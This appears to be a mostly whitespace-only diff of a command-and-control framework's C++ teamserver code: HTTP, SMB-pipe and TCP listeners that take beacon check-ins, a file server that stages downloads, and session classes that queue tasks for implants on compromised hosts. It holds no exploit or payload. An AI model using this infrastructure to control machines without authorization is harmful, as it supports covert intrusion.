// jwt should contained Bearer b64data.b6data.beaconData
|
||||
std::string jwt = req.get_header_value("Authorization");
|
||||
|
||||
std::string data;
|
||||
char delimiter = '.';
|
||||
size_t pos = jwt.find_last_of(delimiter);
|
||||
if (pos != std::string::npos)
|
||||
data = jwt.substr(pos + 1);
|
||||
std::string data;
|
||||
char delimiter = '.';
|
||||
size_t pos = jwt.find_last_of(delimiter);
|
||||
if (pos != std::string::npos)
|
||||
data = jwt.substr(pos + 1);
|
||||
|
||||
if(!data.empty())
|
||||
{
|
||||
@@ -292,38 +292,38 @@ void ListenerHttp::launchHttpServ()
|
||||
});
|
||||
}
|
||||
|
||||
// File Server
|
||||
if(!uriFileDownload.empty())
|
||||
{
|
||||
std::string fileDownloadReg = uriFileDownload;
|
||||
fileDownloadReg+=":filename";
|
||||
m_svr->Get(fileDownloadReg, [&](const Request& req, Response& res)
|
||||
{
|
||||
bool deleteFile=false;
|
||||
auto it = req.headers.find("OneTimeDownload");
|
||||
if (it != req.headers.end())
|
||||
{
|
||||
std::string header_value = it->second;
|
||||
deleteFile=true;
|
||||
}
|
||||
// File Server
|
||||
if(!uriFileDownload.empty())
|
||||
{
|
||||
std::string fileDownloadReg = uriFileDownload;
|
||||
fileDownloadReg+=":filename";
|
||||
m_svr->Get(fileDownloadReg, [&](const Request& req, Response& res)
|
||||
{
|
||||
bool deleteFile=false;
|
||||
auto it = req.headers.find("OneTimeDownload");
|
||||
if (it != req.headers.end())
|
||||
{
|
||||
std::string header_value = it->second;
|
||||
deleteFile=true;
|
||||
}
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger && m_logger->should_log(spdlog::level::debug))
|
||||
m_logger->debug("File server connection: {}, OneTimeDownload {}", req.path, deleteFile);
|
||||
#endif
|
||||
|
||||
std::string filename = req.path_params.at("filename");
|
||||
std::string filePath = downloadFolder;
|
||||
filePath+="/";
|
||||
filePath+=filename;
|
||||
std::ifstream file(filePath, std::ios::binary);
|
||||
std::string filename = req.path_params.at("filename");
|
||||
std::string filePath = downloadFolder;
|
||||
filePath+="/";
|
||||
filePath+=filename;
|
||||
std::ifstream file(filePath, std::ios::binary);
|
||||
|
||||
if (file)
|
||||
{
|
||||
if (file)
|
||||
{
|
||||
|
||||
|
||||
std::string buffer;
|
||||
buffer.assign(std::istreambuf_iterator<char>(file), std::istreambuf_iterator<char>());
|
||||
std::string buffer;
|
||||
buffer.assign(std::istreambuf_iterator<char>(file), std::istreambuf_iterator<char>());
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
std::string md5 = computeBufferMd5(buffer);
|
||||
@@ -335,38 +335,38 @@ void ListenerHttp::launchHttpServ()
|
||||
);
|
||||
#endif
|
||||
|
||||
res.set_content(buffer, "application/x-binary");
|
||||
res.set_content(buffer, "application/x-binary");
|
||||
|
||||
file.close();
|
||||
if(deleteFile)
|
||||
{
|
||||
file.close();
|
||||
if(deleteFile)
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
m_logger->info("Delete file {}", filePath);
|
||||
#endif
|
||||
// std::string backUpFile = filePath+".DELETED";
|
||||
// std::rename(filePath.data(), backUpFile.data());
|
||||
std::remove(filePath.data());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// std::string backUpFile = filePath+".DELETED";
|
||||
// std::rename(filePath.data(), backUpFile.data());
|
||||
std::remove(filePath.data());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
m_logger->warn("File server: File not found at {}", filePath);
|
||||
#endif
|
||||
res.status = 404;
|
||||
}
|
||||
});
|
||||
}
|
||||
res.status = 404;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
m_svr->listen(m_host.c_str(), m_port);
|
||||
m_svr->listen(m_host.c_str(), m_port);
|
||||
}
|
||||
|
||||
|
||||
int ListenerHttp::HandleCheckIn(const httplib::Request& req, httplib::Response& res)
|
||||
{
|
||||
string input = req.body;
|
||||
string input = req.body;
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
@@ -376,11 +376,11 @@ int ListenerHttp::HandleCheckIn(const httplib::Request& req, httplib::Response&
|
||||
}
|
||||
#endif
|
||||
|
||||
string output;
|
||||
bool ret = handleMessages(input, output);
|
||||
string output;
|
||||
bool ret = handleMessages(input, output);
|
||||
|
||||
|
||||
json httpHeaders;
|
||||
json httpHeaders;
|
||||
try
|
||||
{
|
||||
httpHeaders = m_listenerConfig.at("server").at("headers");
|
||||
@@ -394,22 +394,22 @@ int ListenerHttp::HandleCheckIn(const httplib::Request& req, httplib::Response&
|
||||
return -1;
|
||||
}
|
||||
|
||||
httplib::Headers httpServerHeaders;
|
||||
for (auto& it : httpHeaders.items())
|
||||
httpServerHeaders.insert({(it).key(), (it).value()});
|
||||
res.headers = httpServerHeaders;
|
||||
httplib::Headers httpServerHeaders;
|
||||
for (auto& it : httpHeaders.items())
|
||||
httpServerHeaders.insert({(it).key(), (it).value()});
|
||||
res.headers = httpServerHeaders;
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
m_logger->trace("output.size {}", std::to_string(output.size()));
|
||||
#endif
|
||||
|
||||
if(ret)
|
||||
res.body = output;
|
||||
else
|
||||
res.status = 200;
|
||||
if(ret)
|
||||
res.body = output;
|
||||
else
|
||||
res.status = 200;
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -423,11 +423,11 @@ int ListenerHttp::HandleCheckIn(const std::string& requestData, httplib::Respons
|
||||
}
|
||||
#endif
|
||||
|
||||
string output;
|
||||
bool ret = handleMessages(requestData, output);
|
||||
string output;
|
||||
bool ret = handleMessages(requestData, output);
|
||||
|
||||
|
||||
json httpHeaders;
|
||||
json httpHeaders;
|
||||
try
|
||||
{
|
||||
httpHeaders = m_listenerConfig.at("server").at("headers");
|
||||
@@ -441,20 +441,20 @@ int ListenerHttp::HandleCheckIn(const std::string& requestData, httplib::Respons
|
||||
return -1;
|
||||
}
|
||||
|
||||
httplib::Headers httpServerHeaders;
|
||||
for (auto& it : httpHeaders.items())
|
||||
httpServerHeaders.insert({(it).key(), (it).value()});
|
||||
res.headers = httpServerHeaders;
|
||||
httplib::Headers httpServerHeaders;
|
||||
for (auto& it : httpHeaders.items())
|
||||
httpServerHeaders.insert({(it).key(), (it).value()});
|
||||
res.headers = httpServerHeaders;
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
m_logger->trace("output.size {}", std::to_string(output.size()));
|
||||
#endif
|
||||
|
||||
if(ret)
|
||||
res.body = output;
|
||||
else
|
||||
res.status = 200;
|
||||
if(ret)
|
||||
res.body = output;
|
||||
else
|
||||
res.status = 200;
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -13,19 +13,19 @@ public:
|
||||
ListenerHttp(const std::string& ip, int localport, const nlohmann::json& config, bool isHttps=false);
|
||||
~ListenerHttp();
|
||||
|
||||
int init();
|
||||
int init();
|
||||
|
||||
private:
|
||||
void launchHttpServ();
|
||||
void launchHttpServ();
|
||||
|
||||
int HandleCheckIn(const httplib::Request& req, httplib::Response& res);
|
||||
int HandleCheckIn(const std::string& requestData, httplib::Response& res);
|
||||
int HandleCheckIn(const httplib::Request& req, httplib::Response& res);
|
||||
int HandleCheckIn(const std::string& requestData, httplib::Response& res);
|
||||
|
||||
std::string m_host;
|
||||
int m_port;
|
||||
std::string m_host;
|
||||
int m_port;
|
||||
bool m_isHttps;
|
||||
nlohmann::json m_listenerConfig;
|
||||
|
||||
std::unique_ptr<httplib::Server> m_svr;
|
||||
std::unique_ptr<std::thread> m_httpServ;
|
||||
std::unique_ptr<httplib::Server> m_svr;
|
||||
std::unique_ptr<std::thread> m_httpServ;
|
||||
};
|
||||
|
||||
+12
-12
@@ -16,11 +16,11 @@ ListenerSmb::ListenerSmb(const std::string& ip, const std::string& pipeName, con
|
||||
{
|
||||
m_listenerHash = random_string(SizeListenerHash);
|
||||
|
||||
json metadata;
|
||||
json metadata;
|
||||
metadata["1"] = ListenerSmbType;
|
||||
metadata["2"] = ip;
|
||||
metadata["3"] = pipeName;
|
||||
m_metadata = metadata.dump();
|
||||
m_metadata = metadata.dump();
|
||||
|
||||
m_serverSmb = new PipeHandler::Server(pipeName);
|
||||
|
||||
@@ -50,8 +50,8 @@ ListenerSmb::ListenerSmb(const std::string& ip, const std::string& pipeName, con
|
||||
|
||||
ListenerSmb::~ListenerSmb()
|
||||
{
|
||||
m_stopThread=true;
|
||||
m_smbServ->join();
|
||||
m_stopThread=true;
|
||||
m_smbServ->join();
|
||||
|
||||
delete m_serverSmb;
|
||||
|
||||
@@ -64,12 +64,12 @@ ListenerSmb::~ListenerSmb()
|
||||
|
||||
void ListenerSmb::launchSmbServ()
|
||||
{
|
||||
try
|
||||
try
|
||||
{
|
||||
while(1)
|
||||
{
|
||||
if(m_stopThread)
|
||||
return;
|
||||
while(1)
|
||||
{
|
||||
if(m_stopThread)
|
||||
return;
|
||||
|
||||
m_serverSmb->initServer();
|
||||
|
||||
@@ -105,13 +105,13 @@ void ListenerSmb::launchSmbServ()
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
return;
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
|
||||
namespace PipeHandler
|
||||
{
|
||||
class Server;
|
||||
class Server;
|
||||
}
|
||||
|
||||
class ListenerSmb : public Listener
|
||||
@@ -13,13 +13,13 @@ class ListenerSmb : public Listener
|
||||
|
||||
public:
|
||||
ListenerSmb(const std::string& ip, const std::string& pipeName, const nlohmann::json& config = nlohmann::json::object());
|
||||
~ListenerSmb();
|
||||
~ListenerSmb();
|
||||
|
||||
private:
|
||||
void launchSmbServ();
|
||||
void launchSmbServ();
|
||||
|
||||
PipeHandler::Server* m_serverSmb;
|
||||
PipeHandler::Server* m_serverSmb;
|
||||
|
||||
bool m_stopThread;
|
||||
std::unique_ptr<std::thread> m_smbServ;
|
||||
bool m_stopThread;
|
||||
std::unique_ptr<std::thread> m_smbServ;
|
||||
};
|
||||
|
||||
+75
-75
@@ -9,21 +9,21 @@ ListenerTcp::ListenerTcp(const std::string& ip, int localPort, const nlohmann::j
|
||||
: Listener("0.0.0.0", std::to_string(localPort), ListenerTcpType)
|
||||
, m_stopThread(true)
|
||||
{
|
||||
m_listenerHash = random_string(SizeListenerHash);
|
||||
m_listenerHash = random_string(SizeListenerHash);
|
||||
|
||||
json metadata;
|
||||
json metadata;
|
||||
metadata["1"] = ListenerTcpType;
|
||||
metadata["2"] = ip;
|
||||
metadata["3"] = std::to_string(localPort);
|
||||
m_metadata = metadata.dump();
|
||||
m_metadata = metadata.dump();
|
||||
|
||||
m_port = localPort;
|
||||
m_port = localPort;
|
||||
|
||||
m_serverTcp = new SocketServer(m_port);
|
||||
m_serverTcp = new SocketServer(m_port);
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
// Logger
|
||||
std::vector<spdlog::sink_ptr> sinks;
|
||||
// Logger
|
||||
std::vector<spdlog::sink_ptr> sinks;
|
||||
|
||||
auto console_sink = std::make_shared<spdlog::sinks::stdout_color_sink_mt>();
|
||||
auto logLevel = resolveLogLevel(config);
|
||||
@@ -33,7 +33,7 @@ ListenerTcp::ListenerTcp(const std::string& ip, int localPort, const nlohmann::j
|
||||
|
||||
auto file_sink = std::make_shared<spdlog::sinks::rotating_file_sink_mt>("logs/Listener_"+ListenerTcpType+"_"+std::to_string(localPort)+"_"+m_listenerHash+".txt", 1024*1024*10, 3);
|
||||
file_sink->set_level(spdlog::level::trace);
|
||||
sinks.push_back(file_sink);
|
||||
sinks.push_back(file_sink);
|
||||
|
||||
m_logger = std::make_shared<spdlog::logger>("Listener_"+ListenerTcpType+"_"+std::to_string(localPort)+"_"+m_listenerHash.substr(0,8), begin(sinks), end(sinks));
|
||||
m_logger->set_level(logLevel);
|
||||
@@ -44,64 +44,64 @@ ListenerTcp::ListenerTcp(const std::string& ip, int localPort, const nlohmann::j
|
||||
|
||||
int ListenerTcp::init()
|
||||
{
|
||||
try
|
||||
{
|
||||
int maxAttempt=10;
|
||||
int attempts=0;
|
||||
while(!m_serverTcp->isServerLaunched())
|
||||
{
|
||||
m_serverTcp->stop();
|
||||
m_serverTcp->launch();
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
|
||||
// std::cout << "Wait for SocksServer to start on port " << m_port << std::endl;
|
||||
attempts++;
|
||||
if(attempts>maxAttempt)
|
||||
{
|
||||
// std::cout << "Unable to start the SocksServer on port " << m_port << " after " << maxAttempt << " attempts" << std::endl;
|
||||
try
|
||||
{
|
||||
int maxAttempt=10;
|
||||
int attempts=0;
|
||||
while(!m_serverTcp->isServerLaunched())
|
||||
{
|
||||
m_serverTcp->stop();
|
||||
m_serverTcp->launch();
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
|
||||
// std::cout << "Wait for SocksServer to start on port " << m_port << std::endl;
|
||||
attempts++;
|
||||
if(attempts>maxAttempt)
|
||||
{
|
||||
// std::cout << "Unable to start the SocksServer on port " << m_port << " after " << maxAttempt << " attempts" << std::endl;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
m_logger->error("Unable to start the SocksServer on port {}", m_port);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if(m_serverTcp->isServerStoped())
|
||||
{
|
||||
// std::cout << "Start SocksServer failed on port " << m_port << std::endl;
|
||||
return -1;
|
||||
}
|
||||
if(m_serverTcp->isServerStoped())
|
||||
{
|
||||
// std::cout << "Start SocksServer failed on port " << m_port << std::endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
m_logger->info("TCP listener started on port {}", m_port);
|
||||
#endif
|
||||
|
||||
m_stopThread=false;
|
||||
m_tcpServ = std::make_unique<std::thread>(&ListenerTcp::launchTcpServ, this);
|
||||
}
|
||||
catch(const std::exception& e)
|
||||
{
|
||||
// std::cout << e.what() << '\n';
|
||||
m_stopThread=false;
|
||||
m_tcpServ = std::make_unique<std::thread>(&ListenerTcp::launchTcpServ, this);
|
||||
}
|
||||
catch(const std::exception& e)
|
||||
{
|
||||
// std::cout << e.what() << '\n';
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
m_logger->error("TCP listener initialization failure: {}", e.what());
|
||||
#endif
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 1;
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
ListenerTcp::~ListenerTcp()
|
||||
{
|
||||
if(m_stopThread==false)
|
||||
{
|
||||
m_stopThread=true;
|
||||
m_tcpServ->join();
|
||||
}
|
||||
if(m_stopThread==false)
|
||||
{
|
||||
m_stopThread=true;
|
||||
m_tcpServ->join();
|
||||
}
|
||||
|
||||
delete m_serverTcp;
|
||||
delete m_serverTcp;
|
||||
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
if(m_logger)
|
||||
@@ -122,7 +122,7 @@ int ListenerTcp::splitInPacket(const std::string& input, std::vector<std::string
|
||||
}
|
||||
|
||||
if (start < input.length())
|
||||
{
|
||||
{
|
||||
output.push_back(input.substr(start));
|
||||
}
|
||||
|
||||
@@ -132,16 +132,16 @@ int ListenerTcp::splitInPacket(const std::string& input, std::vector<std::string
|
||||
|
||||
void ListenerTcp::launchTcpServ()
|
||||
{
|
||||
try
|
||||
try
|
||||
{
|
||||
while(!m_stopThread)
|
||||
{
|
||||
for(int i=0; i<m_serverTcp->m_socketTunnelServers.size(); i++)
|
||||
{
|
||||
if(m_serverTcp->m_socketTunnelServers[i]!=nullptr)
|
||||
{
|
||||
std::string input;
|
||||
int res = m_serverTcp->m_socketTunnelServers[i]->recv(input);
|
||||
while(!m_stopThread)
|
||||
{
|
||||
for(int i=0; i<m_serverTcp->m_socketTunnelServers.size(); i++)
|
||||
{
|
||||
if(m_serverTcp->m_socketTunnelServers[i]!=nullptr)
|
||||
{
|
||||
std::string input;
|
||||
int res = m_serverTcp->m_socketTunnelServers[i]->recv(input);
|
||||
|
||||
if(res<0)
|
||||
{
|
||||
@@ -151,33 +151,33 @@ void ListenerTcp::launchTcpServ()
|
||||
m_logger->warn("Closed TCP tunnel {} due to read failure", i);
|
||||
#endif
|
||||
}
|
||||
else if(!input.empty())
|
||||
{
|
||||
std::vector<std::string> trames;
|
||||
splitInPacket(input, trames);
|
||||
else if(!input.empty())
|
||||
{
|
||||
std::vector<std::string> trames;
|
||||
splitInPacket(input, trames);
|
||||
|
||||
for(int j=0; j<trames.size(); j++)
|
||||
{
|
||||
std::string output;
|
||||
handleMessages(trames[j], output);
|
||||
output.append("<TCP-666>");
|
||||
m_serverTcp->m_socketTunnelServers[i]->send(output);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
for(int j=0; j<trames.size(); j++)
|
||||
{
|
||||
std::string output;
|
||||
handleMessages(trames[j], output);
|
||||
output.append("<TCP-666>");
|
||||
m_serverTcp->m_socketTunnelServers[i]->send(output);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Remove ended tunnels
|
||||
m_serverTcp->cleanTunnel();
|
||||
// Remove ended tunnels
|
||||
m_serverTcp->cleanTunnel();
|
||||
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(20));
|
||||
}
|
||||
}
|
||||
std::this_thread::sleep_for(std::chrono::milliseconds(20));
|
||||
}
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
return;
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -10,18 +10,18 @@ class ListenerTcp : public Listener
|
||||
|
||||
public:
|
||||
ListenerTcp(const std::string& ip, int localport, const nlohmann::json& config = nlohmann::json::object());
|
||||
~ListenerTcp();
|
||||
|
||||
int init();
|
||||
~ListenerTcp();
|
||||
|
||||
int init();
|
||||
|
||||
private:
|
||||
void launchTcpServ();
|
||||
int splitInPacket(const std::string& input, std::vector<std::string>& output);
|
||||
void launchTcpServ();
|
||||
int splitInPacket(const std::string& input, std::vector<std::string>& output);
|
||||
|
||||
SocketServer* m_serverTcp;
|
||||
SocketServer* m_serverTcp;
|
||||
|
||||
int m_port;
|
||||
int m_port;
|
||||
|
||||
bool m_stopThread;
|
||||
std::unique_ptr<std::thread> m_tcpServ;
|
||||
bool m_stopThread;
|
||||
std::unique_ptr<std::thread> m_tcpServ;
|
||||
};
|
||||
|
||||
+287
-287
@@ -10,295 +10,295 @@
|
||||
class SessionListener
|
||||
{
|
||||
public:
|
||||
SessionListener(const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2)
|
||||
{
|
||||
m_listenerHash = listenerHash;
|
||||
m_type = type;
|
||||
m_param1 = param1;
|
||||
m_param2 = param2;
|
||||
}
|
||||
SessionListener(const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2)
|
||||
{
|
||||
m_listenerHash = listenerHash;
|
||||
m_type = type;
|
||||
m_param1 = param1;
|
||||
m_param2 = param2;
|
||||
}
|
||||
|
||||
const std::string& getListenerHash() const
|
||||
{
|
||||
return m_listenerHash;
|
||||
}
|
||||
const std::string& getListenerHash() const
|
||||
{
|
||||
return m_listenerHash;
|
||||
}
|
||||
|
||||
const std::string& getType() const
|
||||
{
|
||||
return m_type;
|
||||
}
|
||||
const std::string& getType() const
|
||||
{
|
||||
return m_type;
|
||||
}
|
||||
|
||||
const std::string& getParam1() const
|
||||
{
|
||||
return m_param1;
|
||||
}
|
||||
const std::string& getParam1() const
|
||||
{
|
||||
return m_param1;
|
||||
}
|
||||
|
||||
const std::string& getParam2() const
|
||||
{
|
||||
return m_param2;
|
||||
}
|
||||
const std::string& getParam2() const
|
||||
{
|
||||
return m_param2;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string m_listenerHash;
|
||||
std::string m_type;
|
||||
std::string m_param1;
|
||||
std::string m_param2;
|
||||
std::string m_listenerHash;
|
||||
std::string m_type;
|
||||
std::string m_param1;
|
||||
std::string m_param2;
|
||||
};
|
||||
|
||||
|
||||
class Session
|
||||
{
|
||||
public:
|
||||
Session(const std::string& listenerHash, const std::string& beaconHash, const std::string& hostname, const std::string& username,
|
||||
const std::string& arch, const std::string& privilege, const std::string& os)
|
||||
{
|
||||
m_listenerHash=listenerHash;
|
||||
m_beaconHash=beaconHash;
|
||||
m_hostname=hostname;
|
||||
m_username=username;
|
||||
m_arch=arch;
|
||||
m_privilege=privilege;
|
||||
m_os=os;
|
||||
m_killed=false;
|
||||
Session(const std::string& listenerHash, const std::string& beaconHash, const std::string& hostname, const std::string& username,
|
||||
const std::string& arch, const std::string& privilege, const std::string& os)
|
||||
{
|
||||
m_listenerHash=listenerHash;
|
||||
m_beaconHash=beaconHash;
|
||||
m_hostname=hostname;
|
||||
m_username=username;
|
||||
m_arch=arch;
|
||||
m_privilege=privilege;
|
||||
m_os=os;
|
||||
m_killed=false;
|
||||
|
||||
|
||||
auto current_time = std::chrono::system_clock::now();
|
||||
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
|
||||
m_lastProofOfLifeSec = duration_in_seconds.count();
|
||||
}
|
||||
auto current_time = std::chrono::system_clock::now();
|
||||
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
|
||||
m_lastProofOfLifeSec = duration_in_seconds.count();
|
||||
}
|
||||
|
||||
const std::string& getListenerHash() const
|
||||
{
|
||||
return m_listenerHash;
|
||||
}
|
||||
const std::string& getBeaconHash() const
|
||||
{
|
||||
return m_beaconHash;
|
||||
}
|
||||
const std::string& getUsername() const
|
||||
{
|
||||
return m_username;
|
||||
}
|
||||
const std::string& getHostname() const
|
||||
{
|
||||
return m_hostname;
|
||||
}
|
||||
const std::string& getArch() const
|
||||
{
|
||||
return m_arch;
|
||||
}
|
||||
const std::string& getPrivilege() const
|
||||
{
|
||||
return m_privilege;
|
||||
}
|
||||
const std::string& getOs() const
|
||||
{
|
||||
return m_os;
|
||||
}
|
||||
const std::string& getInternalIps() const
|
||||
{
|
||||
return m_internalIps;
|
||||
}
|
||||
const std::string& getProcessId() const
|
||||
{
|
||||
return m_processId;
|
||||
}
|
||||
const std::string& getAdditionalInformation() const
|
||||
{
|
||||
return m_additionalInformation;
|
||||
}
|
||||
const std::string& getListenerHash() const
|
||||
{
|
||||
return m_listenerHash;
|
||||
}
|
||||
const std::string& getBeaconHash() const
|
||||
{
|
||||
return m_beaconHash;
|
||||
}
|
||||
const std::string& getUsername() const
|
||||
{
|
||||
return m_username;
|
||||
}
|
||||
const std::string& getHostname() const
|
||||
{
|
||||
return m_hostname;
|
||||
}
|
||||
const std::string& getArch() const
|
||||
{
|
||||
return m_arch;
|
||||
}
|
||||
const std::string& getPrivilege() const
|
||||
{
|
||||
return m_privilege;
|
||||
}
|
||||
const std::string& getOs() const
|
||||
{
|
||||
return m_os;
|
||||
}
|
||||
const std::string& getInternalIps() const
|
||||
{
|
||||
return m_internalIps;
|
||||
}
|
||||
const std::string& getProcessId() const
|
||||
{
|
||||
return m_processId;
|
||||
}
|
||||
const std::string& getAdditionalInformation() const
|
||||
{
|
||||
return m_additionalInformation;
|
||||
}
|
||||
|
||||
void setListenerHash(const std::string& listenerHash)
|
||||
{
|
||||
m_listenerHash = listenerHash;
|
||||
}
|
||||
void setBeaconHash(const std::string& beaconHash)
|
||||
{
|
||||
m_beaconHash = beaconHash;
|
||||
}
|
||||
void setUsername(const std::string& username)
|
||||
{
|
||||
m_username = username;
|
||||
}
|
||||
void setHostname(const std::string& hostname)
|
||||
{
|
||||
m_hostname = hostname;
|
||||
}
|
||||
void setArch(const std::string& arch)
|
||||
{
|
||||
m_arch = arch;
|
||||
}
|
||||
void setPrivilege(const std::string& privilege)
|
||||
{
|
||||
m_privilege = privilege;
|
||||
}
|
||||
void setOs(const std::string& os)
|
||||
{
|
||||
m_os = os;
|
||||
}
|
||||
void setInternalIps(const std::string& internalIps)
|
||||
{
|
||||
m_internalIps = internalIps;
|
||||
}
|
||||
void setProcessId(const std::string& processId)
|
||||
{
|
||||
m_processId = processId;
|
||||
}
|
||||
void setAdditionalInformation(const std::string& additionalInformation)
|
||||
{
|
||||
m_additionalInformation = additionalInformation;
|
||||
}
|
||||
void setListenerHash(const std::string& listenerHash)
|
||||
{
|
||||
m_listenerHash = listenerHash;
|
||||
}
|
||||
void setBeaconHash(const std::string& beaconHash)
|
||||
{
|
||||
m_beaconHash = beaconHash;
|
||||
}
|
||||
void setUsername(const std::string& username)
|
||||
{
|
||||
m_username = username;
|
||||
}
|
||||
void setHostname(const std::string& hostname)
|
||||
{
|
||||
m_hostname = hostname;
|
||||
}
|
||||
void setArch(const std::string& arch)
|
||||
{
|
||||
m_arch = arch;
|
||||
}
|
||||
void setPrivilege(const std::string& privilege)
|
||||
{
|
||||
m_privilege = privilege;
|
||||
}
|
||||
void setOs(const std::string& os)
|
||||
{
|
||||
m_os = os;
|
||||
}
|
||||
void setInternalIps(const std::string& internalIps)
|
||||
{
|
||||
m_internalIps = internalIps;
|
||||
}
|
||||
void setProcessId(const std::string& processId)
|
||||
{
|
||||
m_processId = processId;
|
||||
}
|
||||
void setAdditionalInformation(const std::string& additionalInformation)
|
||||
{
|
||||
m_additionalInformation = additionalInformation;
|
||||
}
|
||||
|
||||
|
||||
void updatePoofOfLife(std::string& lastProofOfLife)
|
||||
{
|
||||
double lastProofOfLifeSec = std::stod(lastProofOfLife);
|
||||
void updatePoofOfLife(std::string& lastProofOfLife)
|
||||
{
|
||||
double lastProofOfLifeSec = std::stod(lastProofOfLife);
|
||||
|
||||
auto current_time = std::chrono::system_clock::now();
|
||||
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
|
||||
auto current_time = std::chrono::system_clock::now();
|
||||
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
|
||||
|
||||
m_lastProofOfLifeSec = duration_in_seconds.count()-lastProofOfLifeSec;
|
||||
}
|
||||
m_lastProofOfLifeSec = duration_in_seconds.count()-lastProofOfLifeSec;
|
||||
}
|
||||
|
||||
bool isSessionKilled()
|
||||
{
|
||||
return m_killed;
|
||||
}
|
||||
bool isSessionKilled()
|
||||
{
|
||||
return m_killed;
|
||||
}
|
||||
|
||||
void setSessionAlive()
|
||||
{
|
||||
m_killed=false;
|
||||
}
|
||||
void setSessionAlive()
|
||||
{
|
||||
m_killed=false;
|
||||
}
|
||||
|
||||
void setSessionKilled()
|
||||
{
|
||||
m_killed=true;
|
||||
}
|
||||
void setSessionKilled()
|
||||
{
|
||||
m_killed=true;
|
||||
}
|
||||
|
||||
std::string getLastProofOfLife()
|
||||
{
|
||||
auto current_time = std::chrono::system_clock::now();
|
||||
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
|
||||
std::string getLastProofOfLife()
|
||||
{
|
||||
auto current_time = std::chrono::system_clock::now();
|
||||
auto duration_in_seconds = std::chrono::duration<double>(current_time.time_since_epoch());
|
||||
|
||||
std::string output = std::to_string(duration_in_seconds.count()-m_lastProofOfLifeSec);
|
||||
if(m_killed)
|
||||
output="-1";
|
||||
std::string output = std::to_string(duration_in_seconds.count()-m_lastProofOfLifeSec);
|
||||
if(m_killed)
|
||||
output="-1";
|
||||
|
||||
return output;
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
int addTask(const C2Message& task)
|
||||
{
|
||||
m_messageToSend.push(task);
|
||||
return m_messageToSend.size();
|
||||
}
|
||||
int addTask(const C2Message& task)
|
||||
{
|
||||
m_messageToSend.push(task);
|
||||
return m_messageToSend.size();
|
||||
}
|
||||
|
||||
C2Message getTask()
|
||||
{
|
||||
C2Message output;
|
||||
if(!m_messageToSend.empty())
|
||||
{
|
||||
output.CopyFrom(m_messageToSend.front());
|
||||
m_messageToSend.pop();
|
||||
}
|
||||
return output;
|
||||
}
|
||||
C2Message getTask()
|
||||
{
|
||||
C2Message output;
|
||||
if(!m_messageToSend.empty())
|
||||
{
|
||||
output.CopyFrom(m_messageToSend.front());
|
||||
m_messageToSend.pop();
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
int addTaskResult(const C2Message& taskResult)
|
||||
{
|
||||
m_messageToRead.push(taskResult);
|
||||
return m_messageToRead.size();
|
||||
}
|
||||
int addTaskResult(const C2Message& taskResult)
|
||||
{
|
||||
m_messageToRead.push(taskResult);
|
||||
return m_messageToRead.size();
|
||||
}
|
||||
|
||||
|
||||
C2Message getTaskResult()
|
||||
{
|
||||
if (!m_messageToRead.empty())
|
||||
{
|
||||
C2Message output = std::move(m_messageToRead.front());
|
||||
m_messageToRead.pop();
|
||||
return output;
|
||||
}
|
||||
return C2Message();
|
||||
}
|
||||
C2Message getTaskResult()
|
||||
{
|
||||
if (!m_messageToRead.empty())
|
||||
{
|
||||
C2Message output = std::move(m_messageToRead.front());
|
||||
m_messageToRead.pop();
|
||||
return output;
|
||||
}
|
||||
return C2Message();
|
||||
}
|
||||
|
||||
|
||||
// Adds a new SessionListener to the current session if one with the same hash doesn't already exist.
|
||||
// Returns true if the listener was successfully added, false if it already exists.
|
||||
bool addListener(const std::string& listenerHash, const std::string& type,
|
||||
const std::string& param1, const std::string& param2)
|
||||
{
|
||||
bool listenerAlreadyExists = false;
|
||||
// Adds a new SessionListener to the current session if one with the same hash doesn't already exist.
|
||||
